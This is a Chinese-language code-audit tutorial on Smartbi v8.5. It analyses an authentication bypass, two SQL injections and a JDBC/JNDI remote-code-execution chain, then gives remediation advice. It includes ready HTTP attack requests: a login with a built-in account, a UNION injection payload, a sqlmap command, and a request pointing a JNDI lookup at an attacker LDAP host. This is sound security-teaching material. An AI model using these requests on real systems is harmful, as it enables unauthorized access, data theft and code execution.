Smartbi v8.5 代码审计
字数 3389 2025-11-04 20:48:53

Smartbi v8.5 代码审计教学文档

文档说明

本文档基于对 Smartbi v8.5 版本的代码审计过程,详细分析了其系统架构、历史漏洞原理、多种高危漏洞的发现方法、利用技巧及修复建议。旨在为安全研究人员、开发人员及渗透测试人员提供一份深入、实用的代码审计学习资料。

注意:本文档所有内容仅用于安全研究与教学目的,严禁用于任何非法活动。

一、 系统概述与目录结构

Smartbi 是一款企业级商业智能(BI)平台。其 V8.5 版本的典型安装目录结构如下:

E:.
├─Infobright                    # 用于分析型数据存储的数据库
├─jdk                           # Java 开发环境
├─MySQL                         # 数据库服务
├─SmartbiUnionServer            # Union Server 模块(与 Presto 引擎相关)
├─smartbixmla                   # XMLA 接口模块,用于与 Excel 等外部工具的数据透视表通信
└─Tomcat                        # Web 应用服务器,核心应用部署于此
    ├─bin                        # 启动/关闭脚本、配置文件、日志(如 exts-smartbi, mlogs-smartbi 等)
    ├─conf                       # 服务器配置文件(如 server.xml, web.xml)
    ├─lib                        # Tomcat 及应用依赖的 JAR 库文件
    ├─logs                       # 日志文件
    ├─temp                       # 临时文件
    ├─webapps                    # 部署的 Web 应用程序(核心应用在 smartbi 目录下)
    └─work                       # JSP 编译缓存

核心应用代码路径Tomcat/webapps/smartbi/WEB-INF/lib/ 下的各种 jar 包,例如 smartbi-FreeQuery.jar

技术栈:基于 Java Servlet 框架的 J2EE 应用。理解 Servlet 工作原理对后续分析至关重要。

二、 历史漏洞分析:身份认证绕过

2.1 漏洞背景

该漏洞允许攻击者在未登录的情况下,直接访问系统后台功能。

2.2 漏洞原理分析

  1. 入口点:通过分析 web.xml 配置文件,发现核心路由 /vision/RMIServlet。该 Servlet 用于处理远程方法调用。

  2. 关键过滤器CheckIsLoggedFilter

    • 位置smartbi-FreeQuery.jar 中的 smartbi.freequery.filter.CheckIsLoggedFilter 类。
    • 核心方法needToCheck(String className, String methodName)
    • 代码逻辑
      private boolean needToCheck(String className, String methodName) {
          // 关键判断:如果类名是 "BIConfigService",则完全信任,不进行登录校验
          if (!StringUtil.isNullOrEmpty(className) && !className.equals("BIConfigService")) {
              // 另一个关键判断:如果调用的是 UserService 的特定方法,也不进行登录校验
              if (className.equals("UserService") && StringUtil.isInArray(methodName, 
                  new String[]{"login", "loginFor", "clickLogin", "loginFromDB", "logout", 
                              "isLogged", "isLoginAs", "checkVersion", "hasLicense"})) {
                  return false; // 不需要校验
              }
              // ... 其他逻辑
          }
          return true; // 默认需要校验
      }
      
    • 漏洞点UserService 类的 loginFromDB 方法被配置为无需登录即可调用。该方法设计用于从数据库验证用户,但攻击者可利用它直接以内置账户身份登录。

2.3 漏洞复现

攻击请求

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: localhost:18080
Content-Type: application/x-www-form-urlencoded

className=UserService&methodName=loginFromDB&params=["service","0a"]

参数解释

  • className: 指定要调用的服务类,此处为 UserService
  • methodName: 指定要调用的方法,此处为 loginFromDB
  • params: 传递给方法的参数列表(JSON 数组格式)。"service" 是内置用户名,"0a" 是其默认或空口令。

结果:成功调用后,服务器会建立会话,攻击者即可直接访问 http://localhost:18080/smartbi/vision/ 后台界面。

三、 SQL 注入漏洞

3.1 FileResource Servlet SQL 注入

  1. 漏洞位置smartbi.freequery.fileresource.FileResourceServlet
  2. 触发参数resId
  3. 漏洞代码
    // 直接从请求中获取 resID,未做任何过滤
    resID = request.getParameter("resId");
    // 直接拼接 SQL 语句
    ResultSet rs = stat.executeQuery("select c_content,c_name,c_alias,c_type from t_fileresource where c_id = '" + resID + "'");
    
  4. 漏洞复现
    • 直接访问:http://127.0.0.1:18080/smartbi/vision/FileResource?resId=1&opType=DOWNLOAD
    • 使用 SQLMap 自动化检测:
      python sqlmap.py -u "http://127.0.0.1:18080/smartbi/vision/FileResource?resId=1&opType=DOWNLOAD"
      

3.2 RMIServlet SQL 注入(UrlLinkService)

  1. 漏洞位置smartbi.freequery.client.urllink.URLLinkService 类的 getFileResource 方法。该方法内部调用了 FileResourceDAO.getFileResource(String id)
  2. 漏洞代码(FileResourceDAO)
    public FileResourceVO getFileResource(String id) throws SQLException {
        // 依然存在直接拼接
        String sql = "select c_id, c_name, c_alias, c_type, c_content, c_discription from t_fileresource where c_id = '" + id + "'";
        // ... 执行查询
    }
    
  3. 漏洞复现
    • 由于需要通过 RMIServlet 调用,构造如下 POST 请求:
    POST /smartbi/vision/RMIServlet HTTP/1.1
    Host: localhost:18080
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 99
    
    className=UrlLinkService&methodName=getFileResource&params=["1' union select database(),2,3,4,5,6#"]
    
    • 此 Payload 会执行联合查询,将当前数据库名作为结果的一部分返回。

四、 后台 RCE 漏洞(JDBC 反序列化)

此漏洞是 Smartbi 历史中的一个高危漏洞,通过构造恶意的 JDBC 连接参数实现远程代码执行。

4.1 漏洞入口点

  1. 漏洞位置smartbi.freequery.sync.SyncServlet
  2. 触发参数type=sqldictsync
  3. 漏洞代码
    if (type.equals("sqldictsync")) {
        // 所有数据库连接参数均来自用户输入,未经过滤
        String dbType = request.getParameter("dbType");
        String dbServer = request.getParameter("dbServer");
        String dbName = request.getParameter("dbName");
        String dbUser = request.getParameter("dbUser");
        String dbPass = request.getParameter("dbPass");
        String querySql = request.getParameter("querySql");
        // ...
        // 根据参数调用同步方法
        clientId = (new SyncResources()).synchronize(dbType, dbServer, dbName, dbUser, dbPass, querySql);
    }
    

4.2 漏洞链分析

  1. SyncResources.synchronize() 方法调用 DbUtil.getConnection() 建立数据库连接。
  2. DbUtil.getConnection() 方法会根据 dbType(如 DB2_V9)调用 translateDriverInfo 方法来组装 JDBC Driver 类和连接字符串(URL)。
  3. 关键漏洞点:对于某些数据库驱动(如 DB2、Oracle等),其 JDBC URL 支持附加属性。攻击者可以在 dbNamedbServer 参数中注入诸如 clientRerouteServerListJNDIName 这样的属性。
  4. 利用原理:当 Smartbi 尝试使用这个被恶意构造的 JDBC URL 连接数据库时,支持 JNDI 查找的数据库驱动(例如某些版本的 DB2 JCC Driver)会去解析 clientRerouteServerListJNDIName 属性指定的 JNDI 地址(如 ldap://attacker-ip:1389/Exploit)。如果攻击者控制了这个 JNDI 服务器,并指向一个恶意的 Java 对象,就会触发 JNDI 注入,导致远程代码执行。

4.3 漏洞复现(概念性 POC)

攻击条件

  • 攻击者需要搭建一个恶意的 JNDI/LDAP 服务器(例如使用 marshalsec)。
  • Smartbi 服务器能够访问到攻击者的 JNDI 服务器。

构造恶意请求

POST /smartbi/vision/SyncServlet?type=sqldictsync HTTP/1.1
Host: target-server:port
Content-Type: application/x-www-form-urlencoded

dbType=DB2_V9&dbServer=your-malicious-server.com:50000&dbName=testdb:autoRedirect=true;clientRerouteServerListJNDIName=ldap://your-ldap-server:1389/Exploit;

(注:这是一个概念性 POC,具体可利用的驱动版本、属性名和 Payload 构造需要根据实际环境进行研究和测试。文档中提到的 dbName=a:a=a;clientRerouteServerListJNDIName=ldap://... 是此类攻击的典型思路。)

五、 其他历史漏洞简述

审计过程中还发现或提及了其他潜在风险点,虽在 V8.5 中可能已修复或条件苛刻,但仍具学习价值:

  1. Tomcat AJP 文件包含/代码执行 (CVE-2020-1938)
    • 如果 Smartbi 使用的 Tomcat 版本存在此漏洞,且开启了 AJP 连接器(默认端口 8009),攻击者可能通过 AJP 协议读取 Web 应用文件或执行代码。
  2. 文件上传漏洞
    • 寻找未对上传文件类型、路径、内容进行严格校验的功能点。
  3. JNDI 注入
    • 在代码中全局搜索 InitialContext.lookup(), JndiLookup 等关键词,查找用户输入是否直接可控。

六、 代码审计方法论总结

  1. 信息收集:分析目录结构、配置文件(web.xml)、依赖库,了解应用架构和入口点。
  2. 入口点定位:重点关注 Servlet、Filter、Controller 等路由处理组件。
  3. 数据流跟踪:从用户输入(如 request.getParameter())开始,跟踪数据传递过程,直至进入危险函数(如 SQL 拼接、命令执行、反序列化、文件操作、JNDI 查找等)。
  4. 权限校验审查:检查全局过滤器(Filter)或拦截器(Interceptor)的校验逻辑是否存在绕过可能。
  5. 第三方库风险:关注已知漏洞的组件版本(如 Fastjson、Jackson、XStream、特定数据库驱动等)。

七、 修复建议

  1. 认证绕过:严格审查过滤器的豁免名单,避免将敏感方法(如登录)排除在校验之外。
  2. SQL 注入:全线使用预编译(PreparedStatement)进行数据库操作,杜绝字符串拼接。
  3. JDBC 反序列化/RCE
    • 对用户输入的数据库连接参数进行严格的白名单校验。
    • 及时升级有漏洞的数据库驱动至安全版本。
    • 在网络层面限制应用服务器出站连接,减少被利用的风险。
  4. 整体安全:实施最小权限原则、定期进行安全评估和代码审计、保持所有组件的最新版本。

免责重申:本文档内容仅供教育目的,帮助理解代码安全风险。任何人不得将其用于任何非法或恶意攻击活动。

Smartbi v8.5 代码审计教学文档 文档说明 本文档基于对 Smartbi v8.5 版本的代码审计过程,详细分析了其系统架构、历史漏洞原理、多种高危漏洞的发现方法、利用技巧及修复建议。旨在为安全研究人员、开发人员及渗透测试人员提供一份深入、实用的代码审计学习资料。 注意:本文档所有内容仅用于安全研究与教学目的,严禁用于任何非法活动。 一、 系统概述与目录结构 Smartbi 是一款企业级商业智能(BI)平台。其 V8.5 版本的典型安装目录结构如下: 核心应用代码路径 : Tomcat/webapps/smartbi/WEB-INF/lib/ 下的各种 jar 包,例如 smartbi-FreeQuery.jar 。 技术栈 :基于 Java Servlet 框架的 J2EE 应用。理解 Servlet 工作原理对后续分析至关重要。 二、 历史漏洞分析:身份认证绕过 2.1 漏洞背景 该漏洞允许攻击者在未登录的情况下,直接访问系统后台功能。 2.2 漏洞原理分析 入口点 :通过分析 web.xml 配置文件,发现核心路由 /vision/RMIServlet 。该 Servlet 用于处理远程方法调用。 关键过滤器 : CheckIsLoggedFilter 位置 : smartbi-FreeQuery.jar 中的 smartbi.freequery.filter.CheckIsLoggedFilter 类。 核心方法 : needToCheck(String className, String methodName) 代码逻辑 : 漏洞点 : UserService 类的 loginFromDB 方法被配置为无需登录即可调用。该方法设计用于从数据库验证用户,但攻击者可利用它直接以内置账户身份登录。 2.3 漏洞复现 攻击请求 : 参数解释 : className : 指定要调用的服务类,此处为 UserService 。 methodName : 指定要调用的方法,此处为 loginFromDB 。 params : 传递给方法的参数列表(JSON 数组格式)。 "service" 是内置用户名, "0a" 是其默认或空口令。 结果 :成功调用后,服务器会建立会话,攻击者即可直接访问 http://localhost:18080/smartbi/vision/ 后台界面。 三、 SQL 注入漏洞 3.1 FileResource Servlet SQL 注入 漏洞位置 : smartbi.freequery.fileresource.FileResourceServlet 。 触发参数 : resId 。 漏洞代码 : 漏洞复现 : 直接访问: http://127.0.0.1:18080/smartbi/vision/FileResource?resId=1&opType=DOWNLOAD 使用 SQLMap 自动化检测: 3.2 RMIServlet SQL 注入(UrlLinkService) 漏洞位置 : smartbi.freequery.client.urllink.URLLinkService 类的 getFileResource 方法。该方法内部调用了 FileResourceDAO.getFileResource(String id) 。 漏洞代码(FileResourceDAO) : 漏洞复现 : 由于需要通过 RMIServlet 调用,构造如下 POST 请求: 此 Payload 会执行联合查询,将当前数据库名作为结果的一部分返回。 四、 后台 RCE 漏洞(JDBC 反序列化) 此漏洞是 Smartbi 历史中的一个高危漏洞,通过构造恶意的 JDBC 连接参数实现远程代码执行。 4.1 漏洞入口点 漏洞位置 : smartbi.freequery.sync.SyncServlet 。 触发参数 : type=sqldictsync 。 漏洞代码 : 4.2 漏洞链分析 SyncResources.synchronize() 方法调用 DbUtil.getConnection() 建立数据库连接。 DbUtil.getConnection() 方法会根据 dbType (如 DB2_V9 )调用 translateDriverInfo 方法来组装 JDBC Driver 类和连接字符串(URL)。 关键漏洞点 :对于某些数据库驱动(如 DB2、Oracle等),其 JDBC URL 支持附加属性。攻击者可以在 dbName 或 dbServer 参数中注入诸如 clientRerouteServerListJNDIName 这样的属性。 利用原理 :当 Smartbi 尝试使用这个被恶意构造的 JDBC URL 连接数据库时,支持 JNDI 查找的数据库驱动(例如某些版本的 DB2 JCC Driver)会去解析 clientRerouteServerListJNDIName 属性指定的 JNDI 地址(如 ldap://attacker-ip:1389/Exploit )。如果攻击者控制了这个 JNDI 服务器,并指向一个恶意的 Java 对象,就会触发 JNDI 注入,导致远程代码执行。 4.3 漏洞复现(概念性 POC) 攻击条件 : 攻击者需要搭建一个恶意的 JNDI/LDAP 服务器(例如使用 marshalsec)。 Smartbi 服务器能够访问到攻击者的 JNDI 服务器。 构造恶意请求 : (注:这是一个概念性 POC,具体可利用的驱动版本、属性名和 Payload 构造需要根据实际环境进行研究和测试。文档中提到的 dbName=a:a=a;clientRerouteServerListJNDIName=ldap://... 是此类攻击的典型思路。) 五、 其他历史漏洞简述 审计过程中还发现或提及了其他潜在风险点,虽在 V8.5 中可能已修复或条件苛刻,但仍具学习价值: Tomcat AJP 文件包含/代码执行 (CVE-2020-1938) : 如果 Smartbi 使用的 Tomcat 版本存在此漏洞,且开启了 AJP 连接器(默认端口 8009),攻击者可能通过 AJP 协议读取 Web 应用文件或执行代码。 文件上传漏洞 : 寻找未对上传文件类型、路径、内容进行严格校验的功能点。 JNDI 注入 : 在代码中全局搜索 InitialContext.lookup() , JndiLookup 等关键词,查找用户输入是否直接可控。 六、 代码审计方法论总结 信息收集 :分析目录结构、配置文件( web.xml )、依赖库,了解应用架构和入口点。 入口点定位 :重点关注 Servlet、Filter、Controller 等路由处理组件。 数据流跟踪 :从用户输入(如 request.getParameter() )开始,跟踪数据传递过程,直至进入危险函数(如 SQL 拼接、命令执行、反序列化、文件操作、JNDI 查找等)。 权限校验审查 :检查全局过滤器(Filter)或拦截器(Interceptor)的校验逻辑是否存在绕过可能。 第三方库风险 :关注已知漏洞的组件版本(如 Fastjson、Jackson、XStream、特定数据库驱动等)。 七、 修复建议 认证绕过 :严格审查过滤器的豁免名单,避免将敏感方法(如登录)排除在校验之外。 SQL 注入 :全线使用预编译(PreparedStatement)进行数据库操作,杜绝字符串拼接。 JDBC 反序列化/RCE : 对用户输入的数据库连接参数进行严格的白名单校验。 及时升级有漏洞的数据库驱动至安全版本。 在网络层面限制应用服务器出站连接,减少被利用的风险。 整体安全 :实施最小权限原则、定期进行安全评估和代码审计、保持所有组件的最新版本。 免责重申 :本文档内容仅供教育目的,帮助理解代码安全风险。任何人不得将其用于任何非法或恶意攻击活动。